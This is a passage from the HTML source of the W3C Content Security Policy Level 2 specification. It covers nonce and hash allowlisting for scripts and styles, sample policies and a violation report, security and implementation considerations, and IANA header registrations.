href=\"https://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. <a data-link-type=\"biblio\" href=\"#biblio-html-imports\">[HTML-IMPORTS]</a>\n      \n\n      \n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, such as when processing the\n      <code>&lt;?xml-stylesheet?></code> processing directive in an XML\n      document <a data-link-type=\"biblio\" href=\"#biblio-xml11\">[XML11]</a>, the <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attributes\n      on <code>&lt;xsl:include></code> and <code>&lt;xsl:import></code>\n      elements.\n      \n    \n     </ul>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.1\" id=\"script-src-nonce-usage\"><span class=\"secno\">7.15.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.</p>\n      \n\n\n      <p>Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n      \n\n\n      <p>This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n      \n\n\n      <p>Script elements can then execute either because their <code><a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> URLs\n      are whitelisted or because they have a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>:</p>\n      \n\n      \n      <pre>&lt;script>\nalert(\"Blocked because the policy doesn’t have 'unsafe-inline'.\")\n&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\">\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\">\nalert(\"Allowed because nonce is valid.\")\n&lt;/script>\n\n&lt;script src=\"https://example.com/allowed-because-of-src.js\">&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n    src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\">&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n    src=\"https://elsewhere.com/allowed-because-nonce-is-valid.js\">&lt;/script>\n</pre>\n      \n\n\n      <p>Note that the nonce’s value is <em>not</em> a hash or signature\n      that verifies the contents of the script resources. It’s quite simply\n      a random string that informs the user agent which scripts were\n      intentionally included in the page.</p>\n      \n\n\n      <p>Script elements with the proper nonce execute, regardless of\n      whether they’re inline or external. Script elements without the\n      proper nonce don’t execute unless their URLs are whitelisted.\n      Even if an attacker is able to inject markup into the protected\n      resource, the attack will be blocked by the attacker’s inability\n      to guess the random value.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.2\" id=\"script-src-hash-usage\"><span class=\"secno\">7.15.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers whitelist a\n      particular inline script by specifying its hash as an allowed source\n      of script.</p>\n      \n\n\n      <p>Usage is straightforward. The server computes the hash of a\n      particular script block’s contents, and includes the base64 encoding\n      of that value in the <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'sha256-<var>base64 encoded hash</var>'\n</pre>\n      \n\n\n      <p>Each inline script block’s contents are hashed, and compared against\n      the whitelisted value. If there’s a match, the script is executed. For\n      example, the SHA-256 digest of <code>alert('Hello, world.');</code> is\n      <code>qznLcsROx4GACP2dm0UCKCzCG+HiZ1guq6ZZDob/Tng=</code>.</p>\n      \n\n      \n      <div class=\"example\" id=\"example-f54407db\"><a class=\"self-link\" href=\"#example-f54407db\"></a>\n        You can obtain the digest of a string on the command line simply\n        via the <code>openssl</code> program. For example:\n\n        \n       <pre>echo -n \"alert('Hello, world.');\" | openssl dgst -sha256 -binary | openssl enc -base64\n</pre>\n       \n      \n      </div>\n      \n\n\n      <p>If the server sent the following header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'sha512-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='\n</pre>\n      \n\n\n      <p>Then the following script tag would result in script execution:</p>\n      \n\n      \n      <pre>&lt;script>alert('Hello, world.');&lt;/script>\n</pre>\n      \n\n\n      <p>Whitespace is significant. The following scripts blocks would not hash to\n      the same value, and would therefore <em>not</em> execute:</p>\n      \n\n      \n      <pre>&lt;script> alert('Hello, world.');&lt;/script>\n&lt;script>alert('Hello, world.'); &lt;/script>\n&lt;script> alert('Hello, world.'); &lt;/script>\n&lt;script>\nalert('Hello, world.');\n&lt;/script>\n</pre>\n      \n\n\n      <p>Note also that the hash applies <em>only</em> to inline script. An\n      externalized script containing the value\n      <code>alert('Hello, world.');</code> would <em>not</em> execute if its\n      origin was not whitelisted as a valid source of script.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.16\" id=\"directive-style-src\"><span class=\"secno\">7.16. </span><span class=\"content\"><code>style-src</code></span><a class=\"self-link\" href=\"#directive-style-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"style_src\">style-src<a class=\"self-link\" href=\"#style_src\"></a></dfn></code> directive restricts which styles the\n    user may applies to the protected resource. The syntax for the name and\n    value of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"style-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-style-sources\">allowed style sources<a class=\"self-link\" href=\"#allowed-style-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>style-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>style-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code>\n    is present in the list of <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> element that lacks a\n      <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the\n      <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>, instead the user agent <code>MUST</code>\n      ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would apply style from a\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> attribute, instead the user agent\n      <code>MUST</code> ignore the style, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n      violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: These restrictions on inline do not prevent the user agent\n    from applying style from an external stylesheet (e.g., found via\n    <code>&lt;link rel=\"stylesheet\" ...></code>).</p>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style\n    sources</a>, then:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would invoke the Cascading Style Sheets\n      Object Model algorithms\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom/#insert-a-css-rule\">insert a CSS rule</a>, <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom/#parse-a-css-rule\">parse a CSS rule</a>,\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom/#parse-a-css-declaration-block\">parse a CSS declaration block</a>, or\n      <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/cssom/#parse-a-group-of-selectors\">parse a group of selectors</a>\n      instead the user agent MUST throw a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#securityerror\">SecurityError</a>\n      exception <em>and</em> terminate the algorithm. This would include,\n      for example, all invocations of CSSOM’s various <code>cssText</code>\n      setters and <code>insertRule</code> methods. <a data-link-type=\"biblio\" href=\"#biblio-cssom\">[CSSOM]</a> <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a>\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-style-sources\">allowed style sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>\n        Requesting an external stylesheet when processing the\n        <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a> of a <a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a> element\n        whose <a data-link-type=\"element-attr\" href=\"https://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a> attribute contains the token\n        <code><a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/links.html#link-type-stylesheet\">stylesheet</a></code>.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing the &lt;&lt;@import>>\n        directive.\n      \n      \n      \n      <li>\n        Requesting an external stylesheet when processing a <code>Link</code>\n        HTTP response header field <a data-link-type=\"biblio\" href=\"#biblio-rfc5988\">[RFC5988]</a>.\n\n\n       <p class=\"note\" role=\"note\">Note: As this stylesheet might be prefetched before a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://www.w3.org/TR/dom/#interface-document\">Document</a></code>\n        actually exists, user agents will need to carefully consider how to\n        instantiate a meaningful <a data-link-type=\"dfn\" href=\"#security-policy\">policy</a> against which to compare this\n        request. See <a href=\"#complications\">§10.1 Processing Complications</a> for more detail.</p>\n       \n      \n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>style-src</code> directive does not restrict the\n    use of XSLT. XSLT is restricted by the <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code>\n    directive because the security consequences of including an untrusted\n    XSLT stylesheet are similar to those incurred by including an\n    untrusted script.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.1\" id=\"style-src-nonce-usage\"><span class=\"secno\">7.16.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-nonce-usage\"><code>script-src</code>\n      nonce usage information</a> for detail; the application of nonces\n      to <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.16.2\" id=\"style-src-hash-usage\"><span class=\"secno\">7.16.2. </span><span class=\"content\">\n        Hash usage for <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements\n      </span><a class=\"self-link\" href=\"#style-src-hash-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>See the <a href=\"#script-src-hash-usage\"><code>script-src</code>\n      hash usage information</a> for detail; the application of hashes\n      to <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/document-metadata.html#the-style-element\">style</a></code> elements is similar enough to avoid\n      repetition here.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"8\" id=\"examples\"><span class=\"secno\">8. </span><span class=\"content\">Examples</span><a class=\"self-link\" href=\"#examples\"></a></h2>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.1\" id=\"example-policies\"><span class=\"secno\">8.1. </span><span class=\"content\">Sample Policy Definitions</span><a class=\"self-link\" href=\"#example-policies\"></a></h3>\n     \n\n\n     <p>This section provides some sample use cases and supporting <a data-link-type=\"dfn\" href=\"#security-policy\">policies</a>.</p>\n     \n\n    \n     <div class=\"example\" id=\"example-f62636cb\"><a class=\"self-link\" href=\"#example-f62636cb\"></a>\n      A server wishes to load resources only from its own origin:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-60f388c8\"><a class=\"self-link\" href=\"#example-60f388c8\"></a>\n      An auction site wishes to load images from any URL, plugin content from a\n      list of trusted media providers (including a content distribution network),\n      and scripts only from a server under its control hosting sanitized\n      ECMAScript:\n\n      \n      <pre>Content-Security-Policy:\n    <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; img-src *;\n    <a data-link-type=\"dfn\" href=\"#object_src\">object-src</a> media1.example.com media2.example.com *.cdn.example.com;\n    <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> trustedscripts.example.com\n</pre>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-d8347684\"><a class=\"self-link\" href=\"#example-d8347684\"></a>\n      An online banking site wishes to ensure that all of the content in its pages\n      is loaded over TLS to prevent attackers from eavesdropping on insecure\n      content requests:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https: 'unsafe-inline' 'unsafe-eval'</pre>\n      \n\n\n      <p>This policy allows inline content (such as inline\n      <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements), use of <code>eval</code>,\n      and loading resources over <code>https</code>. Note: This policy does\n      not provide any protection from cross-site scripting vulnerabilities.</p>\n      \n    \n     </div>\n     \n\n    \n     <div class=\"example\" id=\"example-a287d03d\"><a class=\"self-link\" href=\"#example-a287d03d\"></a>\n      A website that relies on inline <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      wishes to ensure that script is only executed from its own origin, and those\n      elements it intentionally inserted inline:\n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' 'nonce-<em>$RANDOM</em>';</pre>\n      \n\n\n      <p>The inline <code><a data-link-type=\"element\" href=\"https://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements would then only\n      execute if they contained a matching\n      <code><a data-link-type=\"element-attr\" href=\"#element-attrdef-script-nonce\">nonce</a></code> attribute:</p>\n      \n\n\n      <pre>&lt;script nonce=\"<em>$RANDOM</em>\">...&lt;/script></pre>\n      \n    \n     </div>\n     \n  \n    </section>\n\n  \n    <section class=\"informative\">\n    \n     <h3 class=\"heading settled\" data-level=\"8.2\" id=\"example-violation-report\"><span class=\"secno\">8.2. </span><span class=\"content\">Sample Violation Report</span><a class=\"self-link\" href=\"#example-violation-report\"></a></h3>\n     \n\n\n     <p>This section contains an example violation report the user agent\n    might sent to a server when the protected resource violations a sample\n    policy.</p>\n     \n\n\n     <p>In the following example, the user agent rendered a representation\n    of the resource <code>http://example.org/page.html</code> with the\n    following policy:</p>\n     \n\n\n     <pre><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self'; <a data-link-type=\"dfn\" href=\"#report_uri\">report-uri</a> http://example.org/csp-report.cgi</pre>\n     \n\n\n     <p>The protected resource loaded an image from\n    <code>http://evil.example.com/image.png</code>, violating the\n    policy.</p>\n     \n\n    \n     <pre>{\n  \"csp-report\": {\n    \"document-uri\": \"http://example.org/page.html\",\n    \"referrer\": \"http://evil.example.com/haxor.html\",\n    \"blocked-uri\": \"http://evil.example.com/image.png\",\n    \"violated-directive\": \"default-src 'self'\",\n    \"effective-directive\": \"img-src\",\n    \"original-policy\": \"default-src 'self'; report-uri http://example.org/csp-report.cgi\"\n  }\n}\n</pre>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"9\" id=\"security-considerations\"><span class=\"secno\">9. </span><span class=\"content\">Security Considerations</span><a class=\"self-link\" href=\"#security-considerations\"></a></h2>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.1\" id=\"security-css-parsing\"><span class=\"secno\">9.1. </span><span class=\"content\">Cascading Style Sheet (CSS) Parsing</span><a class=\"self-link\" href=\"#security-css-parsing\"></a></h3>\n     \n\n\n     <p>The <code><a data-link-type=\"dfn\" href=\"#style_src\">style-src</a></code> directive restricts the locations from\n    which the protected resource can load styles. However, if the user agent uses a\n    lax CSS parsing algorithm, an attacker might be able to trick the user\n    agent into accepting malicious \"stylesheets\" hosted by an otherwise\n    trustworthy origin.</p>\n     \n\n\n     <p>These attacks are similar to the <a href=\"http://scarybeastsecurity.blogspot.com/2009/12/generic-cross-browser-cross-domain.html\">CSS\n    cross-origin data leakage</a> attack described by Chris Evans in 2009.\n    User agents SHOULD defend against both attacks using the same\n    mechanism: stricter CSS parsing rules for style sheets with improper\n    MIME types.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"9.2\" id=\"security-redirects\"><span class=\"secno\">9.2. </span><span class=\"content\">Redirect Information Leakage</span><a class=\"self-link\" href=\"#security-redirects\"></a></h3>\n     \n\n\n     <p>The violation reporting mechanism in this document has been\n    designed to mitigate the risk that a malicious web site could use\n    violation reports to probe the behavior of other servers. For example,\n    consider a malicious web site that white lists <code>https://example.com</code>\n    as a source of images. If the malicious site attempts to load\n    <code>https://example.com/login</code> as an image, and the\n    <code>example.com</code> server redirects to an identity provider (e.g.,\n    <code>identityprovider.example.net</code>), CSP will block the request.\n    If violation reports contained the full blocked URL, the violation\n    report might contain sensitive information contained in the redirected URL,\n    such as session identifiers or purported identities. For this reason, the\n    user agent includes only the origin of the blocked URL.</p>\n     \n\n\n     <p>The mitigations are not complete, however: redirects which are blocked will\n    produce side-effects which may be visible to JavaScript (via\n    <code>img.naturalHeight</code>, for instance). An earlier version of this\n    specification defined a\n    <a href=\"https://www.w3.org/TR/2015/CR-CSP2-20150721/#csp-request-header\"><code>CSP</code>\n    request header</a> which servers could use (in conjunction with the\n    <code>referer</code> and <code>origin</code> headers) to determine whether\n    or not it was completely safe to redirect a user. This header caused some\n    issues with CORS processing (tracked in\n    <a href=\"https://github.com/whatwg/fetch/issues/52\">whatwg/fetch#52</a>),\n    and has been punted to the next version of this document.</p>\n     \n  \n    </section>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"10\" id=\"implementation-considerations\"><span class=\"secno\">10. </span><span class=\"content\">Implementation Considerations</span><a class=\"self-link\" href=\"#implementation-considerations\"></a></h2>\n\n\n    <p>The <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header is an end-to-end\n  header. It is processed and enforced at the client and, therefore,\n  SHOULD NOT be modified or removed by proxies or other intermediaries not\n  in the same administrative domain as the resource.</p>\n\n\n    <p>The originating administrative domain for a resource might wish to\n  apply a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code> header outside of the\n  immediate context of an application. For example, a large organization\n  might have many resources and applications managed by different\n  individuals or teams but all subject to a uniform organizational\n  standard. In such situations, a <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n  header might be added or combined with an existing one at a network-edge\n  security gateway device or web application firewall. To enforce multiple\n  policies, the administrator SHOULD combine the policy into a single header.\n  An administrator might wish to use different combination algorithms\n  depending on his or her intended semantics.</p>\n\n\n    <p>One sensible policy combination algorithm is to start by allowing a\n  default set of sources and then letting individual upstream resource\n  owners expand the set of allowed sources by including additional origins.\n  In this approach, the resultant policy is the union of all allowed\n  origins in the input policies.</p>\n\n\n    <p>Another sensible policy combination algorithm is to intersect the\n  given policies. This approach enforces that content comes from a certain\n  whitelist of origins, for example, preventing developers from including\n  third-party scripts or content in violation of organizational standards\n  and practices. In this approach, the combination algorithm forms the\n  combined policy by removing disallowed hosts from the policies supplied\n  by upstream resource owners.</p>\n\n\n    <p>Interactions between the <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> and other directives\n  SHOULD be given special consideration when combining policies. If none\n  of the policies contains a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive, adding new\n  src directives results in a more restrictive policy. However, if one or\n  more of the input policies contain a <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a></code> directive,\n  adding new src directives might result in a less restrictive policy, for\n  example, if the more specific directive contains a more permissive set of\n  allowed origins.</p>\n\n\n    <p>Using a more restrictive policy than the input policy authored by the\n  resource owner might prevent the resource from rendering or operating as\n  intended.</p>\n\n\n    <p class=\"note\" role=\"note\">Note: Migration to <code>HTTPS</code> from <code>HTTP</code>\n  may require updates to the policy in order to keep things running as\n  before. Source expressions like <code>http://example.com</code> do\n  <em>not</em> match <code>HTTPS</code> resources. For example,\n  administrators SHOULD carefully examine existing policies before rolling\n  out <a href=\"https://tools.ietf.org/html/rfc6797\">HTTP Strict Transport Security</a>\n  headers for an application. <a data-link-type=\"biblio\" href=\"#biblio-rfc6797\">[RFC6797]</a></p>\n\n  \n    <div class=\"note\" role=\"note\">\n    Server administrators MAY wish to send multiple policies if different\n    reporting options are desired for subsets of an overall policy. For instance,\n    the following headers:\n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/ \nContent-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would send violation reports for <code>http</code> resources, but would not\n    send violation reports for <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> violations.\n    Note also that combining them via '<code>,</code>' into the single header</p>\n     \n\n    \n     <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://example.com/, <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> https:; report-uri https://example.com/\n</pre>\n     \n\n\n     <p>would have the same effect, as the comma splits the header during parsing.</p>\n     \n  \n    </div>\n\n  \n    <h3 class=\"heading settled\" data-level=\"10.1\" id=\"complications\"><span class=\"secno\">10.1. </span><span class=\"content\">Processing Complications</span><a class=\"self-link\" href=\"#complications\"></a></h3>\n\n\n    <p>Many user agents implement some form of optimistic resource fetching algorithm\n  to speed up page loads. In implementing these features, user agents MUST\n  ensure that these optimizations do not alter the behavior of the page’s\n  security policy.</p>\n\n\n    <p>Here, we’ll note a few potential complications that could cause bugs in\n  implementations:</p>\n\n  \n    <ol>\n    \n     <li>\n      The <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestor</a> directive MUST take effect before a document is\n      loaded into a <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>, and certainly before script\n      is potentially executed. One way to approach this constraint is to perform\n      the ancestor check defined in <a href=\"#directive-frame-ancestors\">§7.7 frame-ancestors</a> while parsing\n      the document’s headers. This might mean that no document object is\n      available at all, which can complicate checks against <code>'self'</code>,\n      and <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-scheme\">scheme</a>- or <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/url/#concept-url-port\">port</a>-relative source expressions.\n    \n     \n    \n     <li>\n      Likewise, the <code>Link</code> HTTP response header could generate\n      requests for stylesheet resources before a document is available. User\n      agents MUST ensure that any policy contained in the response headers is\n      parsed and effective <em>before</em> these requests are generated. For\n      example, a response returning the following headers:\n\n      \n      <pre>Content-Security-Policy: style-src 'none'\nLink: &lt;awesome.css>; rel=stylesheet\n</pre>\n      \n\n\n      <p>MUST have the same behavior as a response returning the following headers:</p>\n      \n\n      \n      <pre>Link: &lt;awesome.css>; rel=stylesheet\nContent-Security-Policy: style-src 'none'\n</pre>\n      \n\n\n      <p>namely, both must block requests for the stylesheet. To fulfil this\n      requirement user agents MUST wait until all headers have been processed\n      before beginning to prefetch resources.</p>\n      \n    \n     \n  \n    </ol>\n</section>\n\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"11\" id=\"iana-considerations\"><span class=\"secno\">11. </span><span class=\"content\">IANA Considerations</span><a class=\"self-link\" href=\"#iana-considerations\"></a></h2>\n\n\n    <p>The permanent message header field registry should be updated\n  with the following registrations: <a data-link-type=\"biblio\" href=\"#biblio-rfc3864\">[RFC3864]</a></p>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.1\" id=\"iana-content-security-policy\"><span class=\"secno\">11.1. </span><span class=\"content\">Content-Security-Policy</span><a class=\"self-link\" href=\"#iana-content-security-policy\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See <code><a data-link-type=\"dfn\" href=\"#content_security_policy\">Content-Security-Policy</a></code>\n      Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n<script src=\"//www.w3.org/scripts/TR/2016/fixup.js\"></script>\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"11.2\" id=\"iana-content-security-policy-report-only\"><span class=\"secno\">11.2. </span><span class=\"content\">Content-Security-Policy-Report-Only</span><a class=\"self-link\" href=\"#iana-content-security-policy-report-only\"></a></h3>\n     \n\n    \n     <dl>\n      \n      <dt>Header field name\n      \n      \n      <dd>Content-Security-Policy-Report-Only\n      \n\n      \n      <dt>Applicable protocol\n      \n      \n      <dd>http\n      \n\n      \n      <dt>Status\n      \n      \n      <dd>standard\n      \n\n      \n      <dt>Author/Change controller\n      \n      \n      <dd>W3C\n      \n\n      \n      <dt>Specification document\n      \n      \n      <dd>This specification (See\n      <code><a data-link-type=\"dfn\" href=\"#content_security_policy_report_only\">Content-Security-Policy-Report-Only</a></code> Header Field)\n      \n    \n     </dl>\n     \n  \n    </section>\n</section>\n\n\n   <section>\n  \n    <h2 class=\"heading settled\" data-level=\"12\" id=\"acknowledgements\"><span class=\"secno\">12. </span><span class=\"content\">Acknowledgements</span><a class=\"self-link\" href=\"#acknowledgements\"></a></h2>\n\n\n    <p>In addition to the documents in the W3C Web Application Security working\n  group, the work on this document is also informed by the work of the\n  <a href=\"https://tools.ietf.org/wg/websec/\">IETF websec working 